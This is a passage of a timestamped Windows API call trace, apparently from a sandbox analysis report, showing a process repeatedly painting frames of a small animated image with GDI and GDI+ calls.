GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0157.962] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0157.962] GetCurrentObject (hdc=0x3601075e, type=0x1) returned 0x1b00017 [0157.963] GetCurrentObject (hdc=0x3601075e, type=0x2) returned 0x1900010 [0157.963] GetCurrentObject (hdc=0x3601075e, type=0x7) returned 0x1a05067e [0157.964] GetCurrentObject (hdc=0x3601075e, type=0x6) returned 0x18a002e [0157.964] SaveDC (hdc=0x3601075e) returned 1 [0157.965] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffe7040b8a [0157.965] GetClipRgn (hdc=0x3601075e, hrgn=0xffffffffe7040b8a) returned 0 [0157.966] SelectClipRgn (hdc=0x3601075e, hrgn=0x170407c3) returned 2 [0157.967] DeleteObject (ho=0xffffffffe7040b8a) returned 1 [0157.967] DeleteObject (ho=0x170407c3) returned 1 [0157.968] OffsetViewportOrgEx (in: hdc=0x3601075e, x=0, y=0, lppt=0x2717220 | out: lppt=0x2717220) returned 1 [0157.968] GetNearestColor (hdc=0x3601075e, color=0xffffff) returned 0xffffff [0157.969] CreateSolidBrush (color=0xffffff) returned 0xffffffffef100190 [0157.970] FillRect (hDC=0x3601075e, lprc=0x15d7c0, hbr=0xffffffffef100190) returned 1 [0157.970] DeleteObject (ho=0xffffffffef100190) returned 1 [0157.971] RestoreDC (hdc=0x3601075e, nSavedDC=-1) returned 1 [0157.971] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.972] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3601075e) returned 0x0 [0157.972] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc080dbd) returned 0x0 [0157.973] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.973] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0157.974] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0157.974] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0157.975] GetSystemMetrics (nIndex=42) returned 0 [0157.975] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0157.975] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0157.976] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0157.976] CoTaskMemFree (pv=0x1e91eca0) [0157.977] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x4) returned 0x0 [0157.989] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0157.990] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0157.990] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0157.991] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0157.992] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x3601075e, x1=0, y1=0, rop=0xcc0020) returned 1 [0157.993] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.993] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3601075e) returned 0x0 [0157.993] SelectObject (hdc=0x3601075e, h=0x185000f) returned 0x1a05067e [0157.993] DeleteDC (hdc=0x3601075e) returned 1 [0157.994] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0157.994] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0157.994] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0157.994] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0157.994] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0157.994] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0157.994] WaitMessage () returned 1 [0158.163] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0158.163] IsWindowUnicode (hWnd=0x2031e) returned 1 [0158.163] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0158.163] TranslateMessage (lpMsg=0x15e910) returned 0 [0158.163] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0158.163] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0158.163] GetCurrentThreadId () returned 0xec0 [0158.163] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0158.163] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0158.163] IsWindowUnicode (hWnd=0x2031e) returned 1 [0158.164] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0158.164] TranslateMessage (lpMsg=0x15e910) returned 0 [0158.164] DispatchMessageW (lpMsg=0x15e910) returned 0x180407c3 [0158.164] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0158.164] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0158.164] CreateCompatibleDC (hdc=0x3010b83) returned 0x19010bab [0158.165] SelectObject (hdc=0x19010bab, h=0x1a05067e) returned 0x185000f [0158.165] GdipCreateFromHDC (hdc=0x19010bab, graphics=0x15daf0) returned 0x0 [0158.165] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0158.165] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0158.165] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0158.165] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0158.165] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0158.165] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0158.165] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0158.166] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0158.166] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.166] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0158.166] GdipCreateRegion (region=0x15dc20) returned 0x0 [0158.166] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0158.166] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0158.166] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0158.166] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0158.166] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0158.166] GetSystemMetrics (nIndex=42) returned 0 [0158.166] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0158.167] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0158.167] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0158.167] CoTaskMemFree (pv=0x1e91eca0) [0158.167] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0158.167] GdipCreateRegion (region=0x15d710) returned 0x0 [0158.167] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0158.167] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0158.167] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0158.167] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0158.167] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0158.167] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0158.168] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0158.168] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0158.168] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0158.168] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0158.168] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0158.168] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.169] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0158.169] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0158.169] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0158.169] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0158.169] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.169] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0158.169] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0158.169] GetCurrentObject (hdc=0x19010bab, type=0x1) returned 0x1b00017 [0158.169] GetCurrentObject (hdc=0x19010bab, type=0x2) returned 0x1900010 [0158.169] GetCurrentObject (hdc=0x19010bab, type=0x7) returned 0x1a05067e [0158.169] GetCurrentObject (hdc=0x19010bab, type=0x6) returned 0x18a002e [0158.169] SaveDC (hdc=0x19010bab) returned 1 [0158.169] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x180407c3 [0158.170] GetClipRgn (hdc=0x19010bab, hrgn=0x180407c3) returned 0 [0158.170] SelectClipRgn (hdc=0x19010bab, hrgn=0xffffffffe8040b8a) returned 2 [0158.170] DeleteObject (ho=0x180407c3) returned 1 [0158.170] DeleteObject (ho=0xffffffffe8040b8a) returned 1 [0158.170] OffsetViewportOrgEx (in: hdc=0x19010bab, x=0, y=0, lppt=0x2718518 | out: lppt=0x2718518) returned 1 [0158.170] GetNearestColor (hdc=0x19010bab, color=0xffffff) returned 0xffffff [0158.170] CreateSolidBrush (color=0xffffff) returned 0xfffffffff0100190 [0158.170] FillRect (hDC=0x19010bab, lprc=0x15d7c0, hbr=0xfffffffff0100190) returned 1 [0158.171] DeleteObject (ho=0xfffffffff0100190) returned 1 [0158.171] RestoreDC (hdc=0x19010bab, nSavedDC=-1) returned 1 [0158.171] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.171] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x19010bab) returned 0x0 [0158.171] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc060dbd) returned 0x0 [0158.171] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.171] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0158.171] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0158.171] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0158.171] GetSystemMetrics (nIndex=42) returned 0 [0158.171] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0158.171] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0158.171] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0158.171] CoTaskMemFree (pv=0x1e91eca0) [0158.171] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0158.172] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0158.172] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0158.172] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0158.172] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x19010bab, x1=0, y1=0, rop=0xcc0020) returned 1 [0158.172] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.172] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x19010bab) returned 0x0 [0158.172] SelectObject (hdc=0x19010bab, h=0x185000f) returned 0x1a05067e [0158.172] DeleteDC (hdc=0x19010bab) returned 1 [0158.173] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.173] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0158.173] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0158.173] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0158.173] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0158.173] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0158.173] WaitMessage () returned 1 [0158.361] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0158.361] IsWindowUnicode (hWnd=0x2031e) returned 1 [0158.361] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0158.361] TranslateMessage (lpMsg=0x15e910) returned 0 [0158.361] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0158.361] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0158.361] GetCurrentThreadId () returned 0xec0 [0158.361] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0158.362] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0158.362] IsWindowUnicode (hWnd=0x2031e) returned 1 [0158.362] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0158.362] TranslateMessage (lpMsg=0x15e910) returned 0 [0158.362] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0158.362] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0158.362] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0158.362] CreateCompatibleDC (hdc=0x3010b83) returned 0x1a010bab [0158.362] SelectObject (hdc=0x1a010bab, h=0x1a05067e) returned 0x185000f [0158.363] GdipCreateFromHDC (hdc=0x1a010bab, graphics=0x15daf0) returned 0x0 [0158.363] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0158.363] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0158.363] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0158.363] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0158.363] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0158.363] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0158.363] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0158.364] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0158.364] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.364] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0158.364] GdipCreateRegion (region=0x15dc20) returned 0x0 [0158.364] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0158.364] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0158.365] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0158.365] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0158.365] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0158.365] GetSystemMetrics (nIndex=42) returned 0 [0158.365] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0158.365] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0158.365] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0158.365] CoTaskMemFree (pv=0x1e91eca0) [0158.365] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0158.365] GdipCreateRegion (region=0x15d710) returned 0x0 [0158.366] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0158.366] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0158.366] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0158.366] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0158.366] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0158.366] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0158.367] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0158.367] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0158.367] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0158.367] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0158.367] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0158.367] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.367] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0158.367] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0158.368] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0158.368] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0158.368] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.368] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0158.368] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0158.368] GetCurrentObject (hdc=0x1a010bab, type=0x1) returned 0x1b00017 [0158.368] GetCurrentObject (hdc=0x1a010bab, type=0x2) returned 0x1900010 [0158.368] GetCurrentObject (hdc=0x1a010bab, type=0x7) returned 0x1a05067e [0158.368] GetCurrentObject (hdc=0x1a010bab, type=0x6) returned 0x18a002e [0158.368] SaveDC (hdc=0x1a010bab) returned 1 [0158.368] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffe9040b8a [0158.369] GetClipRgn (hdc=0x1a010bab, hrgn=0xffffffffe9040b8a) returned 0 [0158.369] SelectClipRgn (hdc=0x1a010bab, hrgn=0x190407c3) returned 2 [0158.369] DeleteObject (ho=0xffffffffe9040b8a) returned 1 [0158.369] DeleteObject (ho=0x190407c3) returned 1 [0158.369] OffsetViewportOrgEx (in: hdc=0x1a010bab, x=0, y=0, lppt=0x2718e50 | out: lppt=0x2718e50) returned 1 [0158.369] GetNearestColor (hdc=0x1a010bab, color=0xffffff) returned 0xffffff [0158.369] CreateSolidBrush (color=0xffffff) returned 0xfffffffff1100190 [0158.369] FillRect (hDC=0x1a010bab, lprc=0x15d7c0, hbr=0xfffffffff1100190) returned 1 [0158.369] DeleteObject (ho=0xfffffffff1100190) returned 1 [0158.369] RestoreDC (hdc=0x1a010bab, nSavedDC=-1) returned 1 [0158.370] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.370] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x1a010bab) returned 0x0 [0158.370] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc040dbd) returned 0x0 [0158.370] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.370] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0158.370] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0158.370] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0158.370] GetSystemMetrics (nIndex=42) returned 0 [0158.370] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0158.370] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0158.370] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0158.370] CoTaskMemFree (pv=0x1e91eca0) [0158.370] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x6) returned 0x0 [0158.373] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0158.373] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0158.373] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0158.373] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0158.373] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x1a010bab, x1=0, y1=0, rop=0xcc0020) returned 1 [0158.373] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.373] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x1a010bab) returned 0x0 [0158.374] SelectObject (hdc=0x1a010bab, h=0x185000f) returned 0x1a05067e [0158.374] DeleteDC (hdc=0x1a010bab) returned 1 [0158.374] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.374] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0158.374] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0158.374] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0158.374] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0158.374] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0158.374] WaitMessage () returned 1 [0158.517] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0158.517] IsWindowUnicode (hWnd=0x2031e) returned 1 [0158.517] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0158.517] TranslateMessage (lpMsg=0x15e910) returned 0 [0158.517] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0158.517] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0158.517] GetCurrentThreadId () returned 0xec0 [0158.517] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0158.517] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0158.517] IsWindowUnicode (hWnd=0x2031e) returned 1 [0158.517] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0158.518] TranslateMessage (lpMsg=0x15e910) returned 0 [0158.518] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0158.518] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0158.518] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0158.518] CreateCompatibleDC (hdc=0x3010b83) returned 0x1b010bab [0158.518] SelectObject (hdc=0x1b010bab, h=0x1a05067e) returned 0x185000f [0158.518] GdipCreateFromHDC (hdc=0x1b010bab, graphics=0x15daf0) returned 0x0 [0158.518] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0158.518] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0158.519] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0158.519] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0158.519] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0158.519] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0158.519] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0158.519] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0158.520] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.520] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0158.520] GdipCreateRegion (region=0x15dc20) returned 0x0 [0158.520] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0158.520] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0158.520] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0158.520] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0158.520] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0158.520] GetSystemMetrics (nIndex=42) returned 0 [0158.520] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0158.520] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0158.520] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0158.520] CoTaskMemFree (pv=0x1e91eca0) [0158.520] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0158.521] GdipCreateRegion (region=0x15d710) returned 0x0 [0158.521] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0158.521] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0158.521] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0158.521] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0158.521] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0158.521] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0158.522] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0158.522] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0158.522] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0158.522] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0158.522] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0158.523] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0158.523] GdipDeleteMatrix (matrix=0x1dc0a590) returned 